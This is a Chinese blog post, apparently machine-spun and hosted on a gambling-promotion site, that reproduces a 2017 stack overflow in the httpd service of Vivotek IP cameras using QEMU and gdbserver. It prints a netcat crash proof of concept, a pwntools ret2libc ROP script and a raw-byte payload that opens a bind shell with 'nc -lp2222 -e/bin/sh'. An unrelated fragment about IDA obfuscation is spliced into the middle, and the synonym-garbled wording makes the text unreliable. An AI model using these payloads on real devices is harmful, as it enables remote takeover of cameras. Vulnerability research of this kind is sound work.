Vivotek长途栈溢出破绽剖析与复现 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Vivotek长途栈溢出破绽剖析与复现

申博_新闻事件 申博 82次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

0x01 媒介

2017年11月表露的vivotek的一个栈溢出破绽,破绽发作在其固件中的httpd效劳,其未对用户post的数据长度做校验,致使攻击者能够发送特定的数据使摄像头历程瓦解,以至恣意代码实行。这边看到后以为挺有意义的,盘算复现下。

贴一下破绽作者放出的poc

再贴一下影响版本 :

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

vivotek官网固件下载地点:http://www.vivotek.com/firmware/

0x02 情况搭建

固件下载

vivotek官网并没有宣布破绽固件的汗青版本,深夜去外洋各大网站上去爬贴找资本,然鹅并没有找到,想喷一波,没有固件降级好傻,看到一堆外洋朋友吐槽不克不及版本降级。在破绽发明者的github上找vulnable firmware的历程当中看到了有一样诉求的老哥,看来碰到战友了,武断留issue占楼。

Vivotek长途栈溢出破绽剖析与复现

看到作者也留言了233333333。

没办法,没有钱买vivotek摄像头,没法经由历程串口啥的提固件;只能去官网找技术支持,装一波晋级固件后没法启动控制台的小不幸~

Vivotek长途栈溢出破绽剖析与复现

客服小姐姐照样很温顺的,固件得手,不忘了再github issue放一波资本。

Vivotek长途栈溢出破绽剖析与复现

固件解包

拿到固件后binwalk跑一下,发明文件体系在_31.extracted/_rootfs.img.extracted/squashfs-root这个目次下

Vivotek长途栈溢出破绽剖析与复现

看到httpd的范例,32位的arm顺序,小端,动态链接,并且符号表被裁23333333

效劳运转

解包今后就可以看到破绽效劳httpd了,由因而arm架构,x86不克不及直接跑,这边用qemu模仿arm情况运转效劳。

Vivotek长途栈溢出破绽剖析与复现

这边碰到两个坑点,一个是一最先运转httpd的时刻会显现gethostbyname::success,然鹅httpd历程并没有胜利启动,httpd文件丢ida

Vivotek长途栈溢出破绽剖析与复现

这边触及两个主要函数,一个是gethostname,它猎取本机主机名,将效果寄存在rlimits变量中;另一个是gethostbyname,这个函数经由历程rlimits中寄存的主机名寻觅ip。这边由于固件hostname中的主机名和宿主机中的hostname有争执,致使gethostbyname并不克不及准确的找到主机名对应的ip。

这边把宿主机和固件hosts文件中的主机名改成一致就好了。

另一个坑点就对照坑了。改完hostname并不克不及胜利运转,httpd效劳启动会报一个Could not open boa.conf for reading的错,一样ida里回溯症结字符串援用,找到以下代码

Vivotek长途栈溢出破绽剖析与复现

发明是没法找到/etc/conf.d/boa/boa.conf这个文件,固件目次下看了一下发明/etc中的conf.d是一个软链接,指向../mnt/flash/etc/conf.d

Vivotek长途栈溢出破绽剖析与复现

../mnt/flash/etc/conf.d看了下,发明并没有conf.d文件夹,emmmmmmm

一最先以为是binwalk解包体式格局纰谬,致使文件缺失,然鹅windows下用7zip提取依旧是显现缺文件;预测etc文件是不是是寄存在别的包里,果不其然………..

Vivotek长途栈溢出破绽剖析与复现

找到对应版本固件的包,将个中的etc文件夹复制到文件体系下的 /mnt/flash/中掩盖底本的etc文件夹。看一下软衔接应该是链接一样平常了,色彩都变了23333333,这下就可以胜利运转效劳了。

调试情况

运转破绽作者供应的poc发明能致使httpd顺序瓦解

Vivotek长途栈溢出破绽剖析与复现

然鹅,光能让效劳瓦解最多只是个dos拒绝效劳,我还想进一步的去视察,去看这个破绽效劳是不是能被应用。对这个顺序的调试应运而生。

调试的话须要搭建qemu假造机,贴下arm-debian的qemu镜像地点:https://people.debian.org/~aurel32/qemu/armel/

开启假造机:

sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和假造机举行通讯
sudo ifconfig tap0 192.168.2.1/24 #给网卡设置装备摆设ip
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic  #启动假造机镜像

Vivotek长途栈溢出破绽剖析与复现

以后对假造机举行一系列设置装备摆设:

sudo mount -o bind /dev ./squashfs-root/dev #将固件文件体系下的dev目次挂载到假造机/dev
sudo mount -t proc /proc ./squashfs-root/proc #将固件文件体系下的proc目次挂载到假造机/proc
ifconfig eth0 192.168.2.2/24 #设置装备摆设假造网卡ip 使其能与主机通讯
chroot ./squashfs-root/ sh #以指定目次为根弹出一个shell

默许/dev和/proc在chroot的时刻是不会挂载的,以是这边才须要手动挂载。

Vivotek长途栈溢出破绽剖析与复现

殽杂IDA F5的一个小技能-x86

平级函数的修改 源码、编译 测试程序源码如下: vuln只是命名习惯了…并不是指漏洞函数 #include
#include
#include

int func(int a) {
int num = a;
printf(“%d”,a);
getchar();
getchar();
return 1;
}

int func_wrapper(int b) {
func(b+1);
int num = b;
printf(“%d”,num);
getchar();
getchar();
getchar();
return 2;
}

int vuln(int num){
printf(“%d”,num);
return 0xff;
}

int main(int argc, char** argv) {
func_wrapper(1);
vuln(2);
return 0;
}
程序没有什么特别的,注意getchar()因为没有参数,就是用来nop掉然后开始表演的,也不会影响堆栈平衡 编译:gcc -m32 main.c -o test 编译过后IDA打开,基本是这样 因为没有开优化,所以esp的加加减减没有被合并 patch 因为x64是fastcall,前几个参数用寄存器传参;而x86则全是用栈传参 原先vuln函数显示是这样的(这两个就是”平级函数”) 目的是让它显示成vuln(v3)这种形式,以达到一些干扰的效果 我们关注这段汇编 func_wrapper的参数是1,被push到栈中 而vuln函数调用之前先收回了原先参数1的栈,又

这边挑选长途调试,由于首先要斟酌到arm-debian原生镜像并不带gdb,apt-get下载太慢,交织编译又很烦,并且更主要的是不太直观。这边实际上是想ida长途调的,然则这边并没有效这类要领调,背面说缘由。

//实际上是实验过交织编译的,armgdb还好说,32位的arm-gdbserver压力就对照大了,能够qemu假造机撑不住,武断弃坑,用他人的多好,何须反复造轮子(诙谐)

贴下已编译好的各个平台上的gdb&gdbserver地点:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

斟酌到qemu假造机中下载太慢,这边先下到主机用python -m SimpleHttpServer传曩昔就好了。

以后就可以够gdbserver调一下了,这边httpd运转后会显现pid,gdbserver直接attach就好了。

Vivotek长途栈溢出破绽剖析与复现

这边假造网卡实在最好用桥接,NAT的话ida没法长途调,然则设置装备摆设桥接网卡照样有点烦的,并且这里没必要,由于这个arm-pwn相对来说照样对照好应用的。以是直接宿主机target remote调了。

0x03 最先调试

寻觅破绽点

宿主机target remote上去,向效劳端口发送poc,发明瓦解,检察瓦解时各寄存器数值并举行栈回溯检察函数挪用

Vivotek长途栈溢出破绽剖析与复现

Vivotek长途栈溢出破绽剖析与复现

Vivotek长途栈溢出破绽剖析与复现

由被调试顺序瓦解后的寄存器值能够发明,顺序返回时的r4、r5、r6、r7、r8、r9、r10、r11和pc都被poc中的字符串覆写,由于pc指向了无效地点,以是顺序报错。

贴下作者的poc:

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | netcat -v 192.168.2.2 80

经由历程对Content-Length的交织援用找到破绽点

Vivotek长途栈溢出破绽剖析与复现

Vivotek长途栈溢出破绽剖析与复现

这边就是破绽地点,顺序没有对content-length字段举行校验,直接用strcpy把content-length字段的值复制到长度为4的dest数组中。由于没有举行校验,内容长度字段能够恣意指定,而dest缓冲区距栈底只要0x38字节,不溢出才怪了。

组织溢出

晓得了破绽点的地位和构成缘由,这边来实验组织一下。须要注重的是,arm下的函数挪用的栈结构和x86下是有很大不一样的,函数的返回地点是特地由寄存器LR生存的,这边content-length的长度凌驾0x38-4字节就会把LR掩盖成别的内容;有关arm的一些器械盘算下期写一篇总结下,经由历程这篇复现照样学到许多arm基本知识的。

Vivotek长途栈溢出破绽剖析与复现

checksec看了下httpd的编译珍爱来决议经由历程甚么体式格局应用,这边顺序只开启了nx,以是没法直接写shellcode;ret2libc的话是个不错的挑选,但条件是vivotek实体机上没有开aslr,不然的话照样要先泄漏libc基址,然后再猎取一次输入,相对来说会对照烦一点;然则斟酌到IoT装备为效力斟酌一样平常是不会开aslr的,以是这边直接经由历程ret2libc来举行应用。

0x04 破绽应用

应用思绪

qemu的arm-debian假造机中先封闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space

由于没有开启aslr,那末客栈地点、text&data段地点、libc加载基址都是流动的,并不须要泄漏libc基址。

Vivotek长途栈溢出破绽剖析与复现

libc基址晓得,偏移流动,system函数地点相当于也晓得,接下来就是参数的通报题目了。

x86下的函数是经由历程栈来传参,然则在mips和arm中,会优先经由历程寄存器传参,有点相似x64,arm中的函数参数优先经由历程r0-r3举行通报;system函数的参数就寄存在r0中,而内容长度是寄存在栈上的,以是这边须要一条gadget链来让r0指向栈上指定的内容。

这边拔取的gadget以下:

0x00048784 : pop {r1, pc} 
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

为何不直接选pop {r0,pc},由于pop {r0,pc}对应的地点0x00033100中有截断符\x00,且libc基址末了也是\x00,以是用pip {r0,pc}会致使输入中缀,没法继承应用。以是这边只能经由历程先将参数地点传给r1,以后再mov到r0中去。

让r0指向栈上指定的内容,以后再实行system函数就可以恣意代码实行了。

应用剧本

#encoding=utf-8
#!/usr/bin/python

from pwn import *
from os import *
libc_base =  0x76f2d000   # libC 库在内存中的加载地点
stack_base = 0x7effeb60 # 瓦解时 SP 寄存器的地点
libc_elf = ELF('./libuClibc-0.9.33.3-git.so')

payload = (0x38 - 4) * 'a' # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中敕令参数地点
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a')  # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 内存中 system() 函数地点
payload += ('pwd;' * 0x100 + 'nc\x20-lp2222\x20-e/bin/sh\x20>') # 敕令参数



payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n"  | nc -v 192.168.2.2 80'.format(payload)
os.system(payload)

字节码

由于复现破绽的假造机中并没有pwntools,以是整理成字节码直接跑,有点硬核233333333

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x57\xf7\x76\xe0\xeb\xff\x7e\xa4\x3a\xf4\x76aaaaaaaa\xb0\x4a\xf7\x76pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;nc -lp2222 -e/bin/sh >\n\r\n\r\n" | nc -v 192.168.2.2 80

0x05 复现

Vivotek长途栈溢出破绽剖析与复现

Vivotek长途栈溢出破绽剖析与复现

经由历程此破绽在远端2222端口反弹一个shell,当地nc曩昔,胜利getshell~。

到这边全部复现历程就算完毕了,实在调试和运转情况部署在树莓派上应该会更好一点,能ida长途调就爽的一批了。

0x06 总结

此次的复现历程真的值得好好去讲讲,去回味,破绽自身是不难的,只是一个栈溢出,然则在实在情况下,在IoT情况下,它又是那末异乎寻常。

此次的复现真的让我学会了许多,固件、社工(诙谐)、qemu、长途调试、交织编译、arm语法,以至arm-pwn…….

更主要的是,它让我晓得了对一个一最先以为高不可攀没法处理的题目怎样起手。

ps:调试阶段的时刻玩gdbserver触发了一个double free,先去看看是不是有相干的破绽,没有的话过几天调一波~

加油加油~


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Vivotek长途栈溢出破绽剖析与复现
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址